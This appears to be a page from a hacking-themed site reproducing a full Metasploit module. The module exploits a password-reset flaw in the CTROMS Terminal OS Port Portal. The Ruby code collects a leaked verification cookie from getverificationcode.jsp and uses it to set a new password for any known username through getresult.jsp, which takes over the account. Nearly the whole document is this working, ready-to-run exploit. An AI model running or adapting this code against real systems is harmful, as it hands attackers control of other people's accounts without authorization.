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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CTROMS Terminal OS - Port Portal "Password Reset" Authentication Bypass' ,
      'Description'    => %q{
        This module exploits an authentication bypass in CTROMS, triggered by password reset verification code disclosure.
        In order to exploit this vulnerability, the username must be known.
        Exploiting this vulnerability create a new password for the user you specified and present it to you.

        The "verification code" and "cookie generate" functions required to reset the password contain vulnerability.
        When the "userId" parameter is posted to "getverificationcode.jsp", a verification code is transmitted to the account's phone number for password reset. 
        But this verification code written in the database is also reflected in the response of the request. 
        The first vector would be to use this verification code.
        The second vector is the "rand" cookie values returned in this request. These values are md5.
        If these values are assigned in the response, password reset can be done via these cookie values. 
        Ex: [ Cookie: 6fb36ecf2a04b8550ba95603047fe85=fae0bKBGtKBKtKh.wKA.vLBmuLxmuM.; 34d1c350632806406ecc517050da0=b741baa96686a91d4461145e40a9c2df ]
      },
      'References'     =>
        [
          [ 'CVE', '' ],
          [ 'URL', 'https://www.pentest.com.tr/exploits/CTROMS-Terminal-OS-Port-Portal-Password-Reset-Authentication-Bypass.html' ],
          [ 'URL', 'https://www.globalservices.bt.com' ]
        ],
      'Author'         =>
        [
          'Özkan Mustafa AKKUŞ <AkkuS>' # Discovery & PoC & MSF Module @ehakkus
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => "March 2 2020",
      'DefaultOptions' => { 'SSL' => true }
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, 'Username']),
        OptString.new('PASSWORD', [true, 'Password for the reset', Rex::Text.rand_text_alphanumeric(12)])
      ])
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def check
    begin
    res = send_request_cgi({
      			      'method' => 'POST',
     			      'ctype'  => 'application/x-www-form-urlencoded',
      			      'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'),
      			      'headers' =>
        			{
          			   'Referer' => "#{peer}/verification.jsp"
        			},
                               'data' => "userId=#{Rex::Text.rand_text_alphanumeric(8)}"
      			     })
    rescue
      return Exploit::CheckCode::Unknown
    end

    if res.code == 200 and res.body.include? '"rand"'   
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def run
    unless Exploit::CheckCode::Appears == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    res = send_request_cgi({
      			      'method' => 'POST',
     			      'ctype'  => 'application/x-www-form-urlencoded',
      			      'uri' => normalize_uri(target_uri.path, 'getuserinfo.jsp'),
      			      'headers' =>
        			{
          			   'Referer' => "#{peer}/verification.jsp"
        			},
                               'data' => "userId=#{datastore["USERNAME"]}"
      			     })

    if res.code == 200 and res.body.include? '"mobileMask"'   
      print_good("Excellent! password resettable for #{datastore["USERNAME"]}")
    else 
      fail_with(Failure::NotVulnerable, 'The user you specified is not valid')
    end

    begin

     res = send_request_cgi({
      			      'method' => 'POST',
     			      'ctype'  => 'application/x-www-form-urlencoded',
      			      'uri' => normalize_uri(target_uri.path, 'getverificationcode.jsp'),
      			      'headers' =>
        			{
          			   'Referer' => "#{peer}/verification.jsp"
        			},
                               'data' => "userId=#{datastore["USERNAME"]}"
      			     })

      @cookie = res.get_cookies

      res = send_request_cgi({
      			      'method' => 'POST',
     			      'ctype'  => 'application/x-www-form-urlencoded',
      			      'uri' => normalize_uri(target_uri.path, 'getresult.jsp'),
			      'cookie' => @cookie,
      			      'headers' =>
        			{
          			   'Referer' => "#{peer}/verification.jsp"
        			},
                               'data' => "userId=#{datastore["USERNAME"]}&password=#{datastore["PASSWORD"]}"
      			     })
      if res.body.include? 'result":10'
         print_good("boom! Password successfully reseted.")
         print_good("Username : #{datastore["USERNAME"]}")
         print_good("Password : #{datastore["PASSWORD"]}")
      else
         fail_with(Failure::BadConfig, "Unknown error while resetting the password. Response: #{res.code}")
      end
    end
  end
end